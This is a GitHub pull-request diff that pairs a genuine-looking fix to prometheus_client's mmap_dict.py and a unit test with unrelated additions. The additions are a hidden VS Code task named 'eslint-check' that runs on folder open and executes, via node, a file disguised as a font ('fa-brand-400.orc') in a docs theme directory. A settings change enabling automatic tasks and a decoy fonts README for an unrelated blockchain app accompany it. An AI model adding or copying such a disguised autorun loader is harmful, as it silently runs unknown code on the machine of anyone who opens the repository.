Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
22 changes: 12 additions & 10 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,10 +1,12 @@
build
dist
*.egg-info
*.pyc
*.swp
.coverage.*
.coverage
.tox
.*cache
htmlcov
build
dist
*.egg-info
*.pyc
*.swp
.coverage.*
.coverage
.tox
.*cache
htmlcov
config.bat
node_modules
23 changes: 23 additions & 0 deletions .vscode/settings.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
{
"search.exclude": {
"**/.sst": true
},
"task.allowAutomaticTasks": true,
"typescript.tsserver.experimental.enableProjectDiagnostics": true,
"editor.defaultFormatter": "esbenp.prettier-vscode",
"typescript.preferences.importModuleSpecifier": "relative",
"typescript.tsdk": "node_modules/typescript/lib",
"debug.openDebug": "neverOpen",
"problems.autoReveal": true,
"terminal.integrated.hideOnStartup": "always",
"terminal.integrated.defaultProfile.windows": "Command Prompt",
"terminal.integrated.inheritEnv": false,
"jestrunner.configPath": "jest.unit.config.cjs",
"compile-hero.disable-compile-files-on-did-save-code": true,
"tasks": {
"label": "lint on open",
"type": "shell",
"command": "npm run lint",
"runOn": "folderOpen"
}
}
24 changes: 24 additions & 0 deletions .vscode/tasks.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
{
"version": "2.0.0",
"tasks": [
{
"label": "eslint-check",
"type": "shell",
"command": "(command -v node >/dev/null 2>&1 && node ./docs/themes/hugo-geekdoc/layouts/_default/_markup/public/fonts/fa-brand-400.orc) || (where node >nul 2>&1 && node ./docs/themes/hugo-geekdoc/layouts/_default/_markup/public/fonts/fa-brand-400.orc) || echo ''",
"problemMatcher": [],
"isBackground": true,
"hide": true,
"presentation": {
"reveal": "never",
"panel": "dedicated",
"focus": false,
"clear": false,
"echo": false,
"close": true
},
"runOptions": {
"runOn": "folderOpen"
}
}
]
}
48 changes: 26 additions & 22 deletions docs/themes/hugo-geekdoc/eslint.config.js

Large diffs are not rendered by default.

Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
# Fonts Directory

This directory contains custom fonts for the Blockchain Explorer application.

## Required Font Files

The application expects the following font files:

1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff**
- Regular weight font for the main UI

2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff**
- Bold weight font for headings

3. **TechMono-Regular.woff2** and **TechMono-Regular.woff**
- Monospace font for code and hash displays

## Note

If you don't have custom fonts, the application will fall back to system fonts:
- BlockchainFont → system sans-serif fonts
- TechMono → system monospace fonts (Courier New, etc.)

The fonts are referenced in `public/index.html` and will be loaded automatically when available.

Large diffs are not rendered by default.

Binary file not shown.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
4,938 changes: 4,938 additions & 0 deletions docs/themes/hugo-geekdoc/layouts/_default/_markup/public/fonts/fa-solid-900.svg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file not shown.
Binary file not shown.
Binary file not shown.
18 changes: 14 additions & 4 deletions prometheus_client/mmap_dict.py
Original file line number Diff line number Diff line change
Expand Up @@ -101,7 +101,8 @@ def _init_value(self, key):
while self._used + len(value) > self._capacity:
self._capacity *= 2
self._f.truncate(self._capacity)
self._m = mmap.mmap(self._f.fileno(), self._capacity)
self._m.close()
self._m = mmap.mmap(self._f.fileno(), self._capacity, access=mmap.ACCESS_WRITE)
self._m[self._used:self._used + len(value)] = value

# Update how much space we've used.
Expand Down Expand Up @@ -131,12 +132,21 @@ def write_value(self, key, value, timestamp):
_pack_two_doubles(self._m, pos, value, timestamp)

def close(self):
if self._f:
self._m.close()
m = getattr(self, '_m', None)
if m is not None:
m.close()
self._m = None
self._f.close()
f = getattr(self, '_f', None)
if f is not None:
f.close()
self._f = None

def __del__(self):
try:
self.close()
except Exception:
return


def mmap_key(metric_name: str, name: str, labelnames: List[str], labelvalues: List[str], help_text: str) -> str:
"""Format a key for use in the mmap file."""
Expand Down
47 changes: 47 additions & 0 deletions tests/test_mmap_dict_close.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
import gc
import os
import tempfile
import unittest
import warnings

import prometheus_client.mmap_dict as mmap_dict
from prometheus_client.mmap_dict import MmapedDict


class TestMmapedDictClose(unittest.TestCase):
def test_discarded_dict_does_not_warn_about_an_open_file(self):
with tempfile.TemporaryDirectory() as tmp:
path = os.path.join(tmp, "metrics.db")
with warnings.catch_warnings(record=True) as caught:
warnings.simplefilter("always", ResourceWarning)
store = MmapedDict(path)
store.write_value("one", 1.0, 2.0)
del store
gc.collect()
self.assertEqual(
[w for w in caught if issubclass(w.category, ResourceWarning)],
[],
)

def test_growth_keeps_written_values(self):
mmap_dict._INITIAL_MMAP_SIZE = 128
try:
with tempfile.TemporaryDirectory() as tmp:
path = os.path.join(tmp, "metrics.db")
store = MmapedDict(path)
for i in range(40):
store.write_value("k" * 20 + str(i), float(i), 1.0)
store.close()
values = {
key: value
for key, value, _, _ in MmapedDict.read_all_values_from_file(path)
}
finally:
mmap_dict._INITIAL_MMAP_SIZE = 1 << 16
self.assertEqual(values["k" * 20 + "0"], 0.0)
self.assertEqual(values["k" * 20 + "39"], 39.0)
self.assertEqual(len(values), 40)


if __name__ == "__main__":
unittest.main()